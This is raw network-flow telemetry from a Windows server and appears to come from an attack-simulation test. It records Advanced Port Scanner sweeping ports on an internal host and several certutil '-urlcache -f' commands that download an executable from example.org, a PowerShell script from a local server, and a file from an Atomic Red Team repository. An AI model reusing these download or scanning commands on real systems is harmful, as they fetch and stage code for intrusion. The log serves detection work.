Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47318" da6="::ffff:172.16.3.10" dp="437" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47317" da6="::ffff:172.16.3.10" dp="436" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47316" da6="::ffff:172.16.3.10" dp="435" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951926" fems="1750693951926" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47315" da6="::ffff:172.16.3.10" dp="434" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951895" fems="1750693951895" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47314" da6="::ffff:172.16.3.10" dp="433" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951895" fems="1750693951895" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47313" da6="::ffff:172.16.3.10" dp="432" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951895" fems="1750693951895" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47311" da6="::ffff:172.16.3.10" dp="430" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951895" fems="1750693951895" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:32 127.0.0.1 Jun 23 15:52:32 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="47310" da6="::ffff:172.16.3.10" dp="429" fd="1" fss="1750693951" fst="Mon Jun 23 15:52:31 2025" fes="1750693951" fet="Mon Jun 23 15:52:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693951895" fems="1750693951895" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 24 10:02:45 127.0.0.1 Jun 24 10:02:45 ip-172-31-30-201  fv="nvzFlow_v9" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" puid="1193F41B28CA8E92B78FF444185CC257" ppuid="15734D58AF76878DA47D66DDDD5D0E98" cppuid="15734D58AF76878DA47D66DDDD5D0E98" pct="1750759363443" pid="8904" pn="svchost.exe" ph="C188A1F4419C2DBE836ED831E9CED03A132C435958758D191670A940AD3857C9" ppath="C:\Windows\System32\svchost.exe" parg="-k netsvcs -p -s BITS" pa="NT AUTHORITY\SYSTEM" paa="NT AUTHORITY" pap="SYSTEM" puat="8194" pil="16384" mnl="flightsettings.dll qmgr.dll" mhl="4191DD77AC0E20C42F75B1D9F423C21AD8245EF5B6E9AF848B6AC092B37A623B A8BD93CBE20EB244FBF89F65F7AA3E75C1287D4E25115806D79C442C1ED41E8E"
Jun 24 10:04:35 127.0.0.1 Jun 24 10:04:35 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="51593" da="185.199.111.133" dp="443" fd="1" fss="1750759363" fst="Tue Jun 24 10:02:43 2025" fes="1750759473" fet="Tue Jun 24 10:04:33 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="<none>" liuat="0" pa="NT AUTHORITY\SYSTEM" paa="NT AUTHORITY" pap="SYSTEM" puat="8194" pn="svchost.exe" ph="C188A1F4419C2DBE836ED831E9CED03A132C435958758D191670A940AD3857C9" ppa="NT AUTHORITY\SYSTEM" ppuat="8194" ppn="services.exe" pph="58A3CEDA651E313390B8C3194E7AB35C7BA33126DDE9DEB4ACAE51A315BF5AA5" ibc="14155" obc="648" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="flightsettings.dll qmgr.dll" mhl="4191DD77AC0E20C42F75B1D9F423C21AD8245EF5B6E9AF848B6AC092B37A623B A8BD93CBE20EB244FBF89F65F7AA3E75C1287D4E25115806D79C442C1ED41E8E" fsms="1750759363863" fems="1750759473854" pid="8904" ppath="C:\Windows\System32\svchost.exe" parg="-k netsvcs -p -s BITS" ppid="688" pppath="C:\Windows\System32\services.exe" pparg="Unknown" aliul="rdp:0002:EC2AMAZ-E56LIG5\Administrator" pil="16384" ppil="16384" fsg="0" puid="1193F41B28CA8E92B78FF444185CC257" liuidp="unknown"
Jun 24 10:02:45 127.0.0.1 Jun 24 10:02:45 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="51593" da="185.199.111.133" dp="443" fd="1" fss="1750759363" fst="Tue Jun 24 10:02:43 2025" fes="1750759363" fet="Tue Jun 24 10:02:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="<none>" liuat="0" pa="NT AUTHORITY\SYSTEM" paa="NT AUTHORITY" pap="SYSTEM" puat="8194" pn="svchost.exe" ph="C188A1F4419C2DBE836ED831E9CED03A132C435958758D191670A940AD3857C9" ppa="NT AUTHORITY\SYSTEM" ppuat="8194" ppn="services.exe" pph="58A3CEDA651E313390B8C3194E7AB35C7BA33126DDE9DEB4ACAE51A315BF5AA5" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="flightsettings.dll qmgr.dll" mhl="4191DD77AC0E20C42F75B1D9F423C21AD8245EF5B6E9AF848B6AC092B37A623B A8BD93CBE20EB244FBF89F65F7AA3E75C1287D4E25115806D79C442C1ED41E8E" fsms="1750759363863" fems="1750759363863" pid="8904" ppath="C:\Windows\System32\svchost.exe" parg="-k netsvcs -p -s BITS" ppid="688" pppath="C:\Windows\System32\services.exe" pparg="Unknown" aliul="rdp:0002:EC2AMAZ-E56LIG5\Administrator" pil="16384" ppil="16384" fsg="1" puid="1193F41B28CA8E92B78FF444185CC257" liuidp="unknown"
Jun 24 12:59:04 127.0.0.1 Jun 24 12:59:04 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52279" da="172.16.3.110" dp="8000" fd="1" fss="1750769928" fst="Tue Jun 24 12:58:48 2025" fes="1750769928" fet="Tue Jun 24 12:58:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750769928586" fems="1750769928586" pid="8588" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f http://172.16.3.110:8000/Default_File_Path.ps1" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="C8E10A1896DE86D6AC6F07DA73384B00"
Jun 24 12:58:54 127.0.0.1 Jun 24 12:58:54 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52278" da="172.16.3.110" dp="8000" fd="1" fss="1750769928" fst="Tue Jun 24 12:58:48 2025" fes="1750769928" fet="Tue Jun 24 12:58:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1750769928492" fems="1750769928492" pid="8588" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f http://172.16.3.110:8000/Default_File_Path.ps1" ppid="9232" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="C8E10A1896DE86D6AC6F07DA73384B00"
Jun 24 12:58:19 127.0.0.1 Jun 24 12:58:19 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52275" da="23.60.131.209" dp="80" fd="1" fss="1750769879" fst="Tue Jun 24 12:57:59 2025" fes="1750769879" fet="Tue Jun 24 12:57:59 2025" hh="ocsp.digicert.com" hm="GET" ht="/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAsA6S1NbXMfyjBZx8seGIY%3D" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="713" obc="234" ds="us-east-2.compute.internal" dh="ocsp.digicert.com" iid="4" mnl="''" mhl="''" fsms="1750769879180" fems="1750769879273" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:58:19 127.0.0.1 Jun 24 12:58:19 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52274" da="23.33.29.77" dp="443" fd="1" fss="1750769879" fst="Tue Jun 24 12:57:59 2025" fes="1750769879" fet="Tue Jun 24 12:57:59 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="5256" obc="498" ds="us-east-2.compute.internal" dh="www.example.org" iid="4" mnl="''" mhl="''" fsms="1750769879108" fems="1750769879273" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:58:11 127.0.0.1 Jun 24 12:58:11 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52275" da="23.60.131.209" dp="80" fd="1" fss="1750769879" fst="Tue Jun 24 12:57:59 2025" fes="1750769879" fet="Tue Jun 24 12:57:59 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="ocsp.digicert.com" iid="4" mnl="''" mhl="''" fsms="1750769879180" fems="1750769879180" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:58:01 127.0.0.1 Jun 24 12:58:01 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52274" da="23.33.29.77" dp="443" fd="1" fss="1750769879" fst="Tue Jun 24 12:57:59 2025" fes="1750769879" fet="Tue Jun 24 12:57:59 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="www.example.org" iid="4" mnl="''" mhl="''" fsms="1750769879108" fems="1750769879108" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:58:19 127.0.0.1 Jun 24 12:58:19 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52273" da="23.33.29.77" dp="443" fd="1" fss="1750769877" fst="Tue Jun 24 12:57:57 2025" fes="1750769879" fet="Tue Jun 24 12:57:59 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="5256" obc="546" ds="us-east-2.compute.internal" dh="www.example.org" iid="4" mnl="''" mhl="''" fsms="1750769877359" fems="1750769879261" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:58:01 127.0.0.1 Jun 24 12:58:01 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52273" da="23.33.29.77" dp="443" fd="1" fss="1750769877" fst="Tue Jun 24 12:57:57 2025" fes="1750769877" fet="Tue Jun 24 12:57:57 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="www.example.org" iid="4" mnl="''" mhl="''" fsms="1750769877359" fems="1750769877359" pid="6968" ppath="C:\Windows\system32\certutil.exe" parg=" -urlcache -f https://www.example.org/file.exe file.exe" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="3847EFFBDFD686C1A031184CEE22A0C6"
Jun 24 12:57:59 127.0.0.1 Jun 24 12:57:59 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="52269" da="185.199.111.133" dp="443" fd="1" fss="1750769851" fst="Tue Jun 24 12:57:31 2025" fes="1750769852" fet="Tue Jun 24 12:57:32 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="certutil.exe" ph="A9A2924066D5CD98ADD23D53315EFC7B883CDDD292BA446642E3220BBA510B84" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="7937" obc="588" ds="us-east-2.compute.internal" dh="raw.githubusercontent.com" iid="4" mnl="''" mhl="''" fsms="1750769851893" fems="1750769852024" pid="8820" ppath="C:\Windows\system32\certutil.exe" parg=" -verifyctl -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt" ppid="6864" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="0" puid="C65FFE3708C286F48A4C7B588FF27CE7"
